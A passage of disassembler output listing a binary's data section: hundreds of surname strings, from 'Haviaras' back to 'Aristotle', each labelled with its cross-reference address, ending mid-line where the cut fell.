___:0042E3F0o align 10h aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E3ECo align 4 aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E3E8o aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E3E4o align 10h aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E3E0o align 4 aHartman db 'Hartman',0 ; DATA XREF: ___:0042E3DCo aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E3D8o align 10h aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E3D4o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E3D0o align 4 aHarding db 'Harding',0 ; DATA XREF: ___:0042E3CCo aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E3C8o aHand db 'Hand',0 ; DATA XREF: ___:0042E3C4o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E3C0o align 4 aHamer db 'Hamer',0 ; DATA XREF: ___:0042E3BCo align 10h aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E3B8o align 10h aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E3B4o aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E3B0o align 4 aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E3ACo aHaley db 'Haley',0 ; DATA XREF: ___:0042E3A8o align 4 aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E3A4o align 10h aHackman db 'Hackman',0 ; DATA XREF: ___:0042E3A0o aHaar db 'Haar',0 ; DATA XREF: ___:0042E39Co align 10h aHa db 'Ha',0 ; DATA XREF: ___:0042E398o align 4 aGuo db 'Guo',0 ; DATA XREF: ___:0042E394o aGunn db 'Gunn',0 ; DATA XREF: ___:0042E390o align 10h aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E38Co align 4 aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E388o align 4 aGruner db 'Gruner',0 ; DATA XREF: ___:0042E384o align 4 aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E380o align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E37Co align 4 aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E378o align 10h aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E374o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E370o align 4 aGravell db 'Gravell',0 ; DATA XREF: ___:0042E36Co aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E368o align 4 aGoody db 'Goody',0 ; DATA XREF: ___:0042E364o align 10h aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E360o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042E35Co align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E358o align 10h aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E354o align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042E350o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042E34Co align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042E348o aGist db 'Gist',0 ; DATA XREF: ___:0042E344o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042E340o align 4 aGill db 'Gill',0 ; DATA XREF: ___:0042E33Co align 10h aGili db 'Gili',0 ; DATA XREF: ___:0042E338o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042E334o aGibson db 'Gibson',0 ; DATA XREF: ___:0042E330o align 4 aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042E32Co aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042E328o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042E324o aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042E320o align 4 aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042E31Co align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042E318o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042E314o aGarman db 'Garman',0 ; DATA XREF: ___:0042E310o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042E30Co align 4 aGambini db 'Gambini',0 ; DATA XREF: ___:0042E308o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042E304o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042E300o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042E2FCo align 10h aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042E2F8o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042E2F4o align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042E2F0o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042E2ECo align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042E2E8o align 10h aFrye db 'Frye',0 ; DATA XREF: ___:0042E2E4o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042E2E0o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042E2DCo aFrisken db 'Frisken',0 ; DATA XREF: ___:0042E2D8o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042E2D4o align 10h aFried db 'Fried',0 ; DATA XREF: ___:0042E2D0o align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042E2CCo align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042E2C8o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042E2C4o align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042E2C0o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042E2BCo align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042E2B8o align 10h aFossi db 'Fossi',0 ; DATA XREF: ___:0042E2B4o align 4 aFossey db 'Fossey',0 ; DATA XREF: ___:0042E2B0o align 10h aFortier db 'Fortier',0 ; DATA XREF: ___:0042E2ACo aFortes db 'Fortes',0 ; DATA XREF: ___:0042E2A8o align 10h aForester db 'Forester',0 ; DATA XREF: ___:0042E2A4o align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042E2A0o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042E29Co align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042E298o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042E294o aFisk db 'Fisk',0 ; DATA XREF: ___:0042E290o align 4 aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042E28Co aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042E288o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042E284o aFink db 'Fink',0 ; DATA XREF: ___:0042E280o align 10h aField db 'Field',0 ; DATA XREF: ___:0042E27Co align 4 aFido db 'Fido',0 ; DATA XREF: ___:0042E278o align 10h aFeuer db 'Feuer',0 ; DATA XREF: ___:0042E274o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042E270o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042E26Co align 10h aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042E268o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042E264o aFeldman db 'Feldman',0 ; DATA XREF: ___:0042E260o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042E25Co align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042E258o align 10h aFates db 'Fates',0 ; DATA XREF: ___:0042E254o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042E250o align 10h aFarren db 'Farren',0 ; DATA XREF: ___:0042E24Co align 4 aFarone db 'Farone',0 ; DATA XREF: ___:0042E248o align 10h aFaris db 'Faris',0 ; DATA XREF: ___:0042E244o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042E240o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042E23Co align 10h aFaioes db 'Faioes',0 ; DATA XREF: ___:0042E238o align 4 aFagan db 'Fagan',0 ; DATA XREF: ___:0042E234o align 10h aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042E230o aEverett db 'Everett',0 ; DATA XREF: ___:0042E22Co aEuripides db 'Euripides',0 ; DATA XREF: ___:0042E228o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042E224o align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042E220o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042E21Co align 4 aErez db 'Erez',0 ; DATA XREF: ___:0042E218o align 10h aErdos db 'Erdos',0 ; DATA XREF: ___:0042E214o align 4 aErdman db 'Erdman',0 ; DATA XREF: ___:0042E210o align 10h aErbach db 'Erbach',0 ; DATA XREF: ___:0042E20Co align 4 aEppling db 'Eppling',0 ; DATA XREF: ___:0042E208o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042E204o aEncinas db 'Encinas',0 ; DATA XREF: ___:0042E200o aElvis db 'Elvis',0 ; DATA XREF: ___:0042E1FCo align 4 aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042E1F8o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042E1F4o align 10h aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042E1F0o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042E1ECo aEdward db 'Edward',0 ; DATA XREF: ___:0042E1E8o align 10h aEdner db 'Edner',0 ; DATA XREF: ___:0042E1E4o align 4 aEdley db 'Edley',0 ; DATA XREF: ___:0042E1E0o align 10h aEckel db 'Eckel',0 ; DATA XREF: ___:0042E1DCo align 4 aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042E1D8o aEardley db 'Eardley',0 ; DATA XREF: ___:0042E1D4o aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042E1D0o align 10h aDussault db 'Dussault',0 ; DATA XREF: ___:0042E1CCo align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042E1C8o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042E1C4o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042E1C0o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042E1BCo aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042E1B8o align 4 aDoug db 'Doug',0 ; DATA XREF: ___:0042E1B4o align 10h aDoty db 'Doty',0 ; DATA XREF: ___:0042E1B0o align 4 aDosi db 'Dosi',0 ; DATA XREF: ___:0042E1ACo align 10h aDorf db 'Dorf',0 ; DATA XREF: ___:0042E1A8o align 4 aDore db 'Dore',0 ; DATA XREF: ___:0042E1A4o align 10h aDoonan db 'Doonan',0 ; DATA XREF: ___:0042E1A0o align 4 aDonner db 'Donner',0 ; DATA XREF: ___:0042E19Co align 10h aDonahue db 'Donahue',0 ; DATA XREF: ___:0042E198o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042E194o aDockery db 'Dockery',0 ; DATA XREF: ___:0042E190o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042E18Co aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042E188o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042E184o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042E180o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042E17Co aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042E178o align 4 aDicks db 'Dicks',0 ; DATA XREF: ___:0042E174o align 10h aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042E170o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042E16Co aDesombre db 'Desombre',0 ; DATA XREF: ___:0042E168o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042E164o aDenham db 'Denham',0 ; DATA XREF: ___:0042E160o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042E15Co aDemusz db 'Demusz',0 ; DATA XREF: ___:0042E158o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042E154o align 4 aDeming db 'Deming',0 ; DATA XREF: ___:0042E150o align 10h aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E14Co align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042E148o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042E144o align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042E140o align 10h aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042E13Co align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042E138o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042E134o aDerousse db 'deRousse',0 ; DATA XREF: ___:0042E130o align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E12Co align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042E128o align 10h aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042E124o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042E120o aDavid db 'David',0 ; DATA XREF: ___:0042E11Co align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042E118o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042E114o align 10h aDas db 'Das',0 ; DATA XREF: ___:0042E110o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E10Co aDapice db 'Dapice',0 ; DATA XREF: ___:0042E108o align 4 aDante db 'Dante',0 ; DATA XREF: ___:0042E104o align 10h aDanieli db 'Danieli',0 ; DATA XREF: ___:0042E100o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042E0FCo aDaly db 'Daly',0 ; DATA XREF: ___:0042E0F8o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042E0F4o align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042E0F0o aCyders db 'Cyders',0 ; DATA XREF: ___:0042E0ECo align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042E0E8o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042E0E4o align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042E0E0o aCui db 'Cui',0 ; DATA XREF: ___:0042E0DCo aCroxton db 'Croxton',0 ; DATA XREF: ___:0042E0D8o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042E0D4o align 10h aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042E0D0o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042E0CCo aCrawford db 'Crawford',0 ; DATA XREF: ___:0042E0C8o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042E0C4o aCounter db 'Counter',0 ; DATA XREF: ___:0042E0C0o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042E0BCo align 4 aCornish db 'Cornish',0 ; DATA XREF: ___:0042E0B8o aCorey db 'Corey',0 ; DATA XREF: ___:0042E0B4o align 4 aConnors db 'Connors',0 ; DATA XREF: ___:0042E0B0o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042E0ACo align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042E0A8o aComstock db 'Comstock',0 ; DATA XREF: ___:0042E0A4o align 10h aCompton db 'Compton',0 ; DATA XREF: ___:0042E09Co ; ___:0042E0A0o aCollis db 'Collis',0 ; DATA XREF: ___:0042E098o align 10h aCollard db 'Collard',0 ; DATA XREF: ___:0042E094o aColella db 'Colella',0 ; DATA XREF: ___:0042E090o aColdren db 'Coldren',0 ; DATA XREF: ___:0042E08Co aCoito db 'Coito',0 ; DATA XREF: ___:0042E088o align 10h aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042E084o aClow db 'Clow',0 ; DATA XREF: ___:0042E080o align 10h aClifton db 'Clifton',0 ; DATA XREF: ___:0042E07Co aClement db 'Clement',0 ; DATA XREF: ___:0042E078o aClark db 'Clark',0 ; DATA XREF: ___:0042E074o align 4 aClancy db 'Clancy',0 ; DATA XREF: ___:0042E070o align 10h aClaffey db 'Claffey',0 ; DATA XREF: ___:0042E06Co aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042E068o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042E064o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042E060o align 4 aChurch db 'Church',0 ; DATA XREF: ___:0042E05Co align 10h aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042E058o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042E054o aChristopher db 'Christopher',0 ; DATA XREF: ___:0042E050o aChristie db 'Christie',0 ; DATA XREF: ___:0042E04Co align 4 aChristiano db 'Christiano',0 ; DATA XREF: ___:0042E048o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042E044o align 10h aChristenson db 'Christenson',0 ; DATA XREF: ___:0042E040o aChinman db 'Chinman',0 ; DATA XREF: ___:0042E03Co aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042E038o aChilds db 'Childs',0 ; DATA XREF: ___:0042E034o align 4 aChildress db 'Childress',0 ; DATA XREF: ___:0042E030o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042E02Co align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042E028o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042E024o align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042E020o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042E01Co align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042E018o aChapman db 'Chapman',0 ; DATA XREF: ___:0042E014o aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042E010o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042E00Co align 4 aCavell db 'Cavell',0 ; DATA XREF: ___:0042E008o align 10h aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042E004o align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042E000o align 4 aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DFFCo align 10h aCase db 'Case',0 ; DATA XREF: ___:0042DFF8o align 4 aCascio db 'Cascio',0 ; DATA XREF: ___:0042DFF4o align 10h aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DFF0o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042DFECo align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DFE8o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DFE4o align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DFE0o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DFDCo align 4 aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DFD8o align 10h aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DFD4o aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DFD0o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DFCCo aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DFC8o align 10h aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DFC4o align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DFC0o align 4 aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DFBCo align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DFB8o aCanley db 'Canley',0 ; DATA XREF: ___:0042DFB4o align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DFB0o align 10h aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DFACo align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DFA8o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042DFA4o align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042DFA0o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042DF9Co align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042DF98o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DF94o aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DF90o align 4 aBurke db 'Burke',0 ; DATA XREF: ___:0042DF8Co align 10h aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DF88o align 4 aBurden db 'Burden',0 ; DATA XREF: ___:0042DF84o align 10h aBunton db 'Bunton',0 ; DATA XREF: ___:0042DF80o align 4 aBullard db 'Bullard',0 ; DATA XREF: ___:0042DF7Co aBudding db 'Budding',0 ; DATA XREF: ___:0042DF78o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DF74o align 10h aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DF70o aBrook db 'Brook',0 ; DATA XREF: ___:0042DF6Co align 10h aBroca db 'Broca',0 ; DATA XREF: ___:0042DF68o align 4 aBritz db 'Britz',0 ; DATA XREF: ___:0042DF64o align 10h aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DF60o aBridges db 'Bridges',0 ; DATA XREF: ___:0042DF5Co aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DF58o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DF50o ; ___:0042DF54o align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DF4Co aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DF48o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042DF44o align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DF40o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042DF3Co aBradac db 'Bradac',0 ; DATA XREF: ___:0042DF38o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DF34o align 10h aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DF30o align 4 aBoym db 'Boym',0 ; DATA XREF: ___:0042DF2Co align 10h aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DF28o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DF24o align 10h aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DF20o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DF1Co align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042DF18o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DF14o align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DF10o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DF0Co align 4 aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DF08o align 10h aBothman db 'Bothman',0 ; DATA XREF: ___:0042DF04o aBossi db 'Bossi',0 ; DATA XREF: ___:0042DF00o align 10h aBorden db 'Borden',0 ; DATA XREF: ___:0042DEFCo align 4 aBorack db 'Borack',0 ; DATA XREF: ___:0042DEF8o align 10h aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DEF4o align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042DEF0o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DEECo align 10h aBook db 'Book',0 ; DATA XREF: ___:0042DEE8o align 4 aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DEE4o align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DEE0o align 10h aBonham db 'Bonham',0 ; DATA XREF: ___:0042DEDCo align 4 aBoner db 'Boner',0 ; DATA XREF: ___:0042DED8o align 10h aBologna db 'Bologna',0 ; DATA XREF: ___:0042DED4o aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DED0o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042DECCo align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042DEC8o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DEC4o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DEC0o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DEBCo align 10h aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DEB8o aBloch db 'Bloch',0 ; DATA XREF: ___:0042DEB4o align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DEB0o aBliss db 'Bliss',0 ; DATA XREF: ___:0042DEACo align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DEA8o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DEA4o align 4 aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DEA0o align 10h aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DE9Co align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DE98o align 4 aBisho db 'Bisho',0 ; DATA XREF: ___:0042DE94o align 10h aBisema db 'Bisema',0 ; DATA XREF: ___:0042DE90o align 4 aBir db 'Bir',0 ; DATA XREF: ___:0042DE8Co aBinion db 'Binion',0 ; DATA XREF: ___:0042DE88o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042DE84o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DE80o align 4 aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DE7Co aBetti db 'Betti',0 ; DATA XREF: ___:0042DE78o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DE74o align 4 aBernston db 'Bernston',0 ; DATA XREF: ___:0042DE70o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DE6Co align 10h aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DE68o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DE64o align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042DE60o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DE5Co align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DE58o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042DE54o aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DE50o align 10h aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DE4Co align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DE48o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DE44o align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DE40o align 10h aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DE3Co align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DE38o aBedford db 'Bedford',0 ; DATA XREF: ___:0042DE34o aBeder db 'Beder',0 ; DATA XREF: ___:0042DE30o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DE2Co aBean db 'Bean',0 ; DATA XREF: ___:0042DE28o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042DE24o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DE20o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042DE1Co align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042DE18o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DE14o align 10h aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DE10o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DE0Co align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DE08o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DE04o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DE00o align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DDFCo aBarry db 'Barry',0 ; DATA XREF: ___:0042DDF8o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DDF4o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DDF0o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DDECo align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DDE8o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DDE4o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DDE0o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DDDCo align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DDD8o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DDD4o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042DDD0o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DDCCo align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042DDC8o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DDC4o align 10h aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DDC0o align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DDBCo align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042DDB8o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DDB4o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DDB0o aBady db 'Bady',0 ; DATA XREF: ___:0042DDACo align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042DDA8o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DDA4o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042DDA0o align 10h aAyling db 'Ayling',0 ; DATA XREF: ___:0042DD9Co align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DD98o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DD94o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DD90o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DD8Co aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DD88o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DD84o align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DD80o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042DD7Co align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042DD78o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: 